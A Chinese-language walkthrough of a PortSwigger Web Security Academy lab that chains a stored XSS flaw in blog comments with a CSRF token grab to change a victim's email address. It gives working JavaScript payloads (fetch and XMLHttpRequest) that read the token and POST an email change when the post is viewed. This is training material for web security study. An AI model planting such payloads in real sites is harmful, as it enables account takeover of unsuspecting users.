从业者-利用跨站脚本-执行CSRF
# 实验室:利用跨站脚本执行CSRF
# 题目
此实验室在 博客评论功能 中包含一个存储型 XSS 漏洞。若要解决实验室问题,请利用此漏洞执行CSRF攻击 (opens new window),并更改 “查看博客文章评论的用户” 的电子邮件地址。
你可以使用以下凭据登录到自己的帐户:wiener:peter
提示
你不能注册已被其他用户占用的电子邮件地址。如果你在测试漏洞期间 更改了自己的电子邮件地址,请你确保——向受害者发送的最终漏洞利用中,应包含不同的电子邮件地址。
(((译者加:题目中第二个提示的意思是,每个账户之间的电子邮件地址不能重复。比如你的账户邮箱是a@b.c
,然后在漏洞利用代码里也写了a@b.c
,试图把受害者的邮箱改为a@b.c
,但由于你已经使用了这个邮箱,所以会导致攻击失败。在漏洞利用代码中,你应该使用一个不会重复的邮箱地址,例如x@y.z
。)))
- name: 实验室-从业者
desc: 利用跨站脚本执行CSRF >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-perform-csrf
bgColor: '#001350'
textColor: '#4cc1ff'
2
3
4
5
6
# 实操
点击 “ACCESS THE LAB” 进入实验室。
点击 “My account” 进入登录界面。
使用题目中提供的用户名和密码进行登录。
登录之后,在账户页面可以看到一个 “邮箱更新功能”。
尝试将邮箱更改为admin@normal-user.net
时发生错误,说明该邮箱已被其他账户使用。
而且,此时还不能发起 CSRF 攻击,因为邮箱更改功能存在 Token 机制,CSRF 的路被堵死了。
但如果同时存在 XSS 漏洞,则可以绕过 Token 的限制。
我们可以利用 XSS 漏洞执行 JavaScript 代码,通过 JavaScript 发起 HTTP 请求并获取网页中的 CSRF Token。
通过 JavaScript 发起 HTTP 请求的方式有很多种,这里我选择了 Fetch (opens new window):
url = "https://<实验室URL>/my-account";
param = {method: "GET"};
fetch(url, param).then(res => {res.text().then(function (text) {
console.log(text.match(/\w{32}/)[0])
});})
2
3
4
5
在控制台运行上述代码,成功获取到了账户页面中的 CSRF Token。
第一步,获取 Token 已经成功。
第二步,使用 Token 修改用户的邮箱:
url = "https://0af3008203c4625980987bb400c90074.web-security-academy.net/my-account";
param = {method: "GET"};
fetch(url, param).then(res => {res.text().then(function (text) {
token = text.match(/\w{32}/)[0]
payload_url = "https://0af3008203c4625980987bb400c90074.web-security-academy.net/my-account/change-email"
payload_param = {
method: "POST",
headers: {"Content-Type": "application/x-www-form-urlencoded"},
body: "email=xxxyyyzzz%40normal-user.net&csrf=" + token
}
fetch(payload_url, payload_param)
});})
2
3
4
5
6
7
8
9
10
11
12
13
在控制台运行上述代码,尝试将当前用户的邮箱aaabbbccc@normal-user.net
更改为xxxyyyzzz@normal-user.net
运行代码之后,刷新页面,邮箱成功被更改。
载荷构建成功。
点击任意 “View post” 进入文章详情页。
第三步,将最终的 XSS 载荷注入评论区,受害者访问之后将会自动运行 JavaScript 并发起 CSRF 攻击:
<script>
url = "https://0af3008203c4625980987bb400c90074.web-security-academy.net/my-account";
param = {method: "GET"};
fetch(url, param).then(res => {res.text().then(function (text) {
token = text.match(/\w{32}/)[0]
payload_url = "https://0af3008203c4625980987bb400c90074.web-security-academy.net/my-account/change-email"
payload_param = {
method: "POST",
headers: {"Content-Type": "application/x-www-form-urlencoded"},
body: "email=qqqwwweee%40normal-user.net&csrf=" + token
}
fetch(payload_url, payload_param)
});})
</script>
2
3
4
5
6
7
8
9
10
11
12
13
14
15
记得把载荷中的邮箱 修改为一个无人使用的邮箱,例如qqqwwweee@normal-user.net
。
提交载荷至评论区。
返回文章,查看攻击效果。
嗯?怎么没执行?为啥 JavaScript 被当做普通字符了?
噢,我忘记加script
标签了,尴尬......
重新提交评论,这次为 JavaScript 加上script
标签。
提交评论之后,实验室提示我们已经完成实验。
再次尝试,将邮箱更改为admin@normal-user.net
。更改成功,说明受害者的邮箱确实被更改了,原来的邮箱变为了未使用状态。
(现在管理员的邮箱是我的啦!桀桀桀...)
后来我看了答案,答案中使用了另一种发起 HTTP 请求的方式:XMLHttpRequest (opens new window)
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/my-account',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/my-account/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
2
3
4
5
6
7
8
9
10
11
12